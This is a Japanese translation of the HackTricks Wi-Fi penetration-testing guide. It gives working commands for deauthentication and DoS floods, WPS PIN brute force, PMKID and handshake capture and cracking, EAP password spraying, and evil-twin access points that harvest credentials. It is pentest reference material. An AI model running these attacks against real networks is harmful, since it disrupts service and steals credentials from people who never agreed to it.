mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

History

Translator aee3e7ac7d Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge		2024-02-08 03:59:37 +00:00
..
evil-twin-eap-tls.md	Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge	2024-02-08 03:59:37 +00:00
README.md	Translated ['forensics/basic-forensic-methodology/specific-software-file	2024-02-07 05:47:12 +00:00

Wifiのペンテスト

**htARTE（HackTricks AWS Red Team Expert）** でAWSハッキングをゼロからヒーローまで学ぶ！

HackTricksをサポートする他の方法:

HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
公式PEASS＆HackTricksのグッズを入手する
The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォロー**してください。
ハッキングトリックを共有するためにPRを送信して HackTricks と HackTricks Cloud のGitHubリポジトリに参加してください。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける

最新の発表
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて知っておく

Discordに参加して、今日からトップハッカーと協力を始めましょう！

Wifi基本コマンド

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

ツール

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能ツールです。このツールは、WEP、WPA、WPS、WPA2などのさまざまな暗号化方式をサポートしており、様々な攻撃手法を使用して無線ネットワークの脆弱性をテストすることができます。

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Dockerを使用してairgeddonを実行する

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの資格情報をキャプチャしたりすることができます。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

このツールはWPS/WEP/WPA-PSK攻撃を自動化します。自動的に以下を行います：

インターフェースをモニターモードに設定する
可能なネットワークをスキャンし、被害者を選択できるようにする
WEPの場合はWEP攻撃を実行する
WPA-PSKの場合
WPSの場合：Pixieダスト攻撃とブルートフォース攻撃（ブルートフォース攻撃には時間がかかる可能性があるので注意）。ヌルPINやデータベース/生成されたPINは試みません。
APからPMKIDをキャプチャしてクラックしようとする
APのクライアントを切断してハンドシェイクをキャプチャしようとする
PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる

攻撃の概要

DoS
- サービス拒否
- Deauthentication/disassociation -- すべての人を切断（または特定のESSID/クライアント）
- ランダムな偽のAP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
- APの過負荷 -- APを停止しようとする（通常はあまり役に立たない）
- WIDS -- IDSとの相互作用
- TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃
クラッキング
- WEPのクラック（複数のツールと方法）
- WPA-PSK
- WPSピン「ブルートフォース」
- WPA PMKIDブルートフォース
- [DoS +] WPAハンドシェイクキャプチャ + クラック
- WPA-MGT
- ユーザーのキャプチャ
- ブルートフォース資格情報
- Evil Twin（DoSあり/なし）
- オープンEvil Twin [+ DoS] -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ
- WPA-PSK Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立つ
- WPA-MGT -- 企業の資格情報をキャプチャするのに役立つ
- KARMA, MANA, Loud MANA, Known beacon
- + オープン -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ
- + WPA -- WPAハンドシェイクをキャプチャするのに役立つ

DOS

Deauthentication Packets

ここからの説明: こちら.

Deauthentication攻撃は、Wi-Fiハッキングで一般的な方法であり、"管理"フレームを偽造してデバイスをネットワークから強制的に切断することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークから来たものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。

Aireplay-ngを使用したDeauthentication

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

-0 は切断を意味します
1 は送信する切断の数です（複数送信することもできます）；0 は連続して送信します
-a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです
-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです；これを省略するとブロードキャスト切断が送信されます（常に機能するわけではありません）
ath0 はインターフェース名

切断パケット

切断パケットは、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス（ラップトップやスマートフォンなど）とアクセスポイント（AP）との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは不正なデバイスをネットワークから明示的に削除するために切断パケットを送信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動中であり、それによりすべての接続されたノードを切断する必要がある場合に送信されます。

この攻撃はmdk4（モード "d"）によって実行できます：

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4によるさらなるDOS攻撃

**こちら**で。

攻撃モードb: ビーコンフラッディング

クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーさえクラッシュすることがあります！

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻撃モードa: 認証サービス拒否

範囲内のすべてのアクセスポイント（AP）に認証フレームを送信すると、特に多数のクライアントが関与する場合、これらのAPを過負荷にさせることができます。この激しいトラフィックはシステムの不安定さを引き起こし、一部のAPがフリーズしたり、リセットされることさえあります。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻撃モード p: SSID プロービングとブルートフォース

アクセスポイント（AP）のプロービングは、SSID が適切に公開されているかどうかをチェックし、AP の範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに非表示のSSIDをブルートフォースすることで、隠されたネットワークを特定およびアクセスするのに役立ちます。

攻撃モード m: マイケル対策の悪用

異なる QoS キューにランダムまたは重複パケットを送信すると、TKIP AP でマイケル対策がトリガーされ、AP が1分間シャットダウンします。この方法は、効果的なDoS（サービス拒否）攻撃戦術です。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻撃モード e: EAPOL Start および Logoff パケットのインジェクション

アクセスポイントに EAPOL Start フレーム を大量に送信することで、偽のセッション を作成し、アクセスポイントを圧倒し、正規のクライアントをブロックします。代わりに、偽の EAPOL Logoff メッセージ をインジェクトすることでクライアントを強制的に切断し、いずれの方法もネットワークサービスを効果的に妨害します。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃

メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。

ATTACK MODE w: WIDS混乱

クライアントを複数のWDSノードや偽のローグAPにクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用を引き起こすことができる。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻撃モード f: パケットファズナー

パケットファズナーは、さまざまなパケットソースとパケット操作のための包括的な修飾子セットを備えたものです。

Airggedon

Airgeddon は、前のコメントで提案された攻撃のほとんどを提供します:

WPS

WPS（Wi-Fi Protected Setup）は、WPAまたはWPA2 Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティでは効果がありません。WPSは、2つの半分で検証される8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です（11,000通りの可能性）。

WPSブルートフォース

このアクションを実行するための主要なツールは2つあります: ReaverとBully。

Reaver は、WPSに対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。
Bully は、Cで書かれたWPSブルートフォース攻撃の新しい実装です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの正しい処理、より堅牢なオプションのセット。

この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁の露出と最後の桁のチェックサムとしての役割により、総当たり攻撃が容易になっています。ただし、攻撃を継続するためには、攻撃者のMACアドレスをブロックするなどの総当たり攻撃に対する防御策が、攻撃を続行するためにMACアドレスのローテーションを要求します。

BullyやReaverなどのツールを使用してWPS PINを取得した後、攻撃者はWPA/WPA2 PSKを推測し、持続的なネットワークアクセスを確保できます。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

スマートブルートフォース

この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします：

事前に発見されたPIN: 特定のメーカーが一貫してWPS PINを使用することが知られている既知のPINのデータベースを利用します。このデータベースはMACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINに関連付けます。
PIN生成アルゴリズム: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらはAPのMACアドレスに基づいてWPS PINを計算します。ArcadyanアルゴリズムにはデバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。

WPS Pixie Dust攻撃

Dominique Bongard は、一部のアクセスポイント（AP）における秘密コードの作成に関する欠陥、つまりノンス（E-S1およびE-S2）を発見しました。これらのノンスが特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを証明し、偽の（ローグ）APではないことを示すために特別なコード（ハッシュ）内でPINを明らかにします。これらのノンスは、基本的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細はこちらで確認できます。

簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するための十分にランダムでないキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました（オフラインブルートフォース攻撃）。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Null Pin attack

いくつかの設計が甘いシステムは、Null PIN（空のまたは存在しないPIN）でもアクセスを許可してしまうことがあり、これはかなり珍しいことです。Reaverツールは、Bullyとは異なり、この脆弱性をテストすることができます。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

提案されたすべてのWPS攻撃は、airgeddon を使用して簡単に実行できます。

5と6は、カスタムPIN（あれば）を試すことができます
7と8はPixie Dust攻撃を実行します
13はNULL PINをテストできます
11と12は、選択したAPに関連するPINを利用可能なデータベースから再収集し、ComputePIN、EasyBox、およびオプションでArcadyan（おすすめ、なぜなら）を使用して可能なPINを生成します
9と10はすべての可能なPINをテストします

WEP

今日では壊れて使われていない。airgeddon には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも同様のオプションを提供しています。

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースに遅れずについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握

Discord で私たちに参加し、今日からトップハッカーと協力を始めましょう！

WPA/WPA2 PSK

PMKID

2018年、hashcat は、新しい攻撃手法を公開しました。これは、1つのパケットだけが必要で、ターゲットAPにクライアントが接続されている必要がないという点でユニークです。攻撃者とAPとの間の相互作用だけが必要です。

多くの現代のルーターは、関連付け中に最初のEAPOLフレームにオプションフィールドを追加します。これはRobust Security Networkとして知られるもので、PMKIDを含みます。

元の投稿によると、PMKID は既知のデータを使用して作成されます：

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

与えられた「PMK Name」が一定であることを考慮すると、APとステーションのBSSIDを知っており、PMKが完全な4ウェイハンドシェイクからのものと同一である場合、hashcatはこの情報を使用してPSKを解読し、パスフレーズを回復できます！

この情報を収集し、パスワードをローカルでブルートフォースするには、次の操作を行うことができます：

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1

#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs captured は コンソール に表示され、また /tmp/attack.pcap にも保存されます。
次に、キャプチャを hashcat/john フォーマットに変換してクラックします：

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

正しいハッシュの形式は4つの部分を含んでいることに注意してください。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 もし3つの部分しか含まれていない場合、それは無効です（PMKIDキャプチャが有効ではありません）。

hcxdumptoolはハンドシェイクもキャプチャします（次のようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091）。cap2hccapxを使用してハンドシェイクをhashcat/john形式に変換することができます。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていても解読できないことがありました。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。

ハンドシェイクのキャプチャ

WPA/WPA2 ネットワークへの攻撃は、ハンドシェイクをキャプチャしてパスワードをオフラインで解読することによって実行できます。このプロセスには、特定のネットワークとBSSID、特定のチャンネル上の通信を監視することが含まれます。以下は簡略化されたガイドです：

ターゲットネットワークのBSSID、チャンネル、および接続されたクライアントを特定します。
airodump-ngを使用して、指定されたチャンネルとBSSID上のネットワークトラフィックを監視し、ハンドシェイクをキャプチャしようとします。コマンドは次のようになります：

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、aireplay-ngコマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します。

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

クライアントが認証解除された場合、別のAPに接続しようとする可能性があることに注意してください。また、他の場合では、異なるネットワークに接続しようとすることもあります。

airodump-ngにハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます：

ハンドシェイクがキャプチャされると、aircrack-ngでそれをクラックできます：

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ファイル内のハンドシェイクをチェックします

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

このツールが、完了していないESSIDのハンドシェイクを完了したものよりも先に見つけた場合、有効なものを検出しません。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPAエンタープライズ（MGT）

エンタープライズWiFiセットアップでは、さまざまな認証方法に遭遇します。それぞれが異なるセキュリティレベルと管理機能を提供します。airodump-ngのようなツールを使用してネットワークトラフィックを調査すると、これらの認証タイプの識別子が表示されることがあります。一般的な方法には次のものがあります：

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP-GTC (Generic Token Card):

この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。

EAP-MD5 (Message Digest 5):

クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、推奨されていません。

EAP-TLS (Transport Layer Security):

認証のためにクライアント側とサーバー側の証明書の両方を利用し、ユーザーベースおよびセッションベースのWEPキーを動的に生成して通信を保護します。

EAP-TTLS (Tunneled Transport Layer Security):

暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。

PEAP (Protected Extensible Authentication Protocol):

保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルを使用できるのは、トンネルによって提供される保護のためです。

PEAP-MSCHAPv2: PEAPとも呼ばれ、脆弱なMSCHAPv2のチャレンジ/レスポンスメカニズムを保護するTLSトンネルを組み合わせています。
PEAP-EAP-TLS (またはPEAP-TLS): EAP-TLSと類似していますが、証明書の交換の前にTLSトンネルを開始し、追加のセキュリティレイヤーを提供します。

これらの認証方法に関する詳細情報はこちらおよびこちらで入手できます。

ユーザー名のキャプチャ

https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、"Identity" メッセージをサポートする必要があり、ユーザー名は**"Response Identity"メッセージでクリア**に送信されます。

最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるユーザー名をキャプチャすることが可能です。これを行うには、認証通信をキャプチャし（airodump-ngをチャンネル内で開始し、同じインターフェースでwiresharkを開始）、パケットをeapolでフィルタリングします。
"Response, Identity"パケットの中に、クライアントのユーザー名が表示されます。

匿名ID

EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント（AP）によって関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理する初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます：

EAP-Identity = anonymous

このシナリオでは、すべてのユーザーが疑似匿名の「anonymous」をユーザー識別子として使用します。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部（保護された）認証メソッドは、ローカルで処理されるか、リモート（ホーム）RADIUSサーバーに委任されます。

EAP-Identity = anonymous@realm_x

この状況では、異なるレルムのユーザーが自分のレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、彼らのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、PEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。
代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、さまざまなレルムに異なるポリシーを構成することを容易にします。

EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。

EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、通常、TLSトンネルで保護されたPAPまたはCHAPを使用してクライアントが認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージに、User-Name属性とPasswordまたはCHAP-Password属性を含めます。

選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストからの匿名User-Nameを置き換えるユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP（TTLSのみでサポートされる）である場合、TLSペイロードから抽出されたUser-Nameおよびその他の認証属性が、着信RADIUSリクエストで見つかる匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代入されます。

詳細については、こちらを参照してください。

EAP-Bruteforce（パスワードスプレー）

クライアントがユーザー名とパスワードを使用することが期待される場合（EAP-TLSはこの場合有効ではありません）、ユーザー名のリスト（次の部分を参照）とパスワードを取得して、air-hammerを使用してアクセスをブルートフォースすることができます。

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

この攻撃はeaphammerを使用しても実行することができます：

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

クライアント攻撃の理論

ネットワーク選択とローミング

802.11プロトコルは、ステーションが拡張サービスセット（ESS）に参加する方法を定義していますが、ESSまたはそれに含まれるアクセスポイント（AP）を選択する基準を指定していません。
ステーションは、同じESSIDを共有するAP間をローミングでき、建物やエリア全体で接続を維持します。
プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けていません。

優先ネットワークリスト（PNL）

ステーションは、接続する無線ネットワークのESSIDを、ネットワーク固有の構成詳細と共に、優先ネットワークリスト（PNL）に保存します。
PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを効率化してユーザーエクスペリエンスを向上させます。

パッシブスキャン

APは定期的にビーコンフレームをブロードキャストし、存在と機能をアナウンスします。APのESSIDを含む（ブロードキャストが無効になっていない限り）。
パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続する可能性があります。
デバイスのPNLの知識により、既知のネットワークのESSIDを模倣してデバイスをローグAPに接続させることで潜在的な攻撃が可能となります。

アクティブプロービング

アクティブプロービングには、ステーションが近くのAPを発見するためにプローブリクエストを送信することが含まれます。
ディレクテッドプローブリクエストは特定のESSIDを対象とし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます（非表示ネットワークであっても）。
ブロードキャストプローブリクエストにはヌルのSSIDフィールドがあり、すべての近くのAPに送信され、ステーションがPNLの内容を開示せずに任意の優先ネットワークをチェックできます。

インターネットにリダイレクトされるシンプルなAP

より複雑な攻撃を実行する方法を説明する前に、インターフェースに接続されたインターネットにトラフィックをリダイレクトするだけのAPを作成する方法について説明します。

ifconfig -aを使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

/etc/dnsmasq.conf ファイルを作成します：

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

その後、IPアドレスとルートを設定します：

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

そして、dnsmasqを開始します：

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

hostapd.confという設定ファイルを作成します：

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

うるさいプロセスを停止し、モニターモードを設定し、hostapdを起動します：

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

フォワーディングとリダイレクト

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

イービルツイン

イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用し、基地局（アクセスポイント）がクライアントに認証されることなく、主にネットワーク名（ESSID）に依存しています。主なポイントは次のとおりです：

区別の難しさ：デバイスは、同じESSIDと暗号化タイプを共有する場合、合法的なアクセスポイントと偽のアクセスポイントを区別するのに苦労します。実世界のネットワークでは、同じESSIDを持つ複数のアクセスポイントがシームレスにカバレッジを拡張するために使用されることがよくあります。
クライアントのローミングと接続の操作：802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできるようになっています。攻撃者は、デバイスを現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供したり、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。
実行上の課題：複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントを切断するか、偽のアクセスポイントを戦略的に配置しない限り、この問題が発生します。

非常に基本的なオープンイービルツイン（インターネットへのトラフィックをルーティングする機能がない）を作成できます：

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

あなたはeaphammerを使用してEvil Twinを作成することもできます（eaphammerを使用してEvil Twinを作成するには、インターフェースがモニターモードになっていてはいけないことに注意してください）:

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

または、Airgeddonを使用する：オプション：5,6,7,8,9（Evil Twin攻撃メニュー内）。

デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます（この方法を使用すると、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます）。

一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません...

WPA/WPA2 Evil Twin

WPA/2を使用してEvil Twinを作成することができ、デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。ただし、4ウェイハンドシェイクを完了するには、クライアントが使用するパスワードを知る必要があります。知らない場合、接続は完了しません。

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

エンタープライズイービルツイン

この攻撃を理解するためには、まずWPAエンタープライズの説明を読むことをお勧めします。

hostapd-wpeの使用

hostapd-wpeは動作するために構成ファイルが必要です。これらの構成を自動化するために、https://github.com/WJDigby/apd_launchpadを使用できます（_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください）。

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、authなど、さまざまな項目を選択できます。

EAP-TLSを使用してhostapd-wpeを使用し、任意の証明書でログインを許可する方法

EAPHammerの使用

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

デフォルトでは、EAPHammerはこの認証方法を使用します（平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します）:

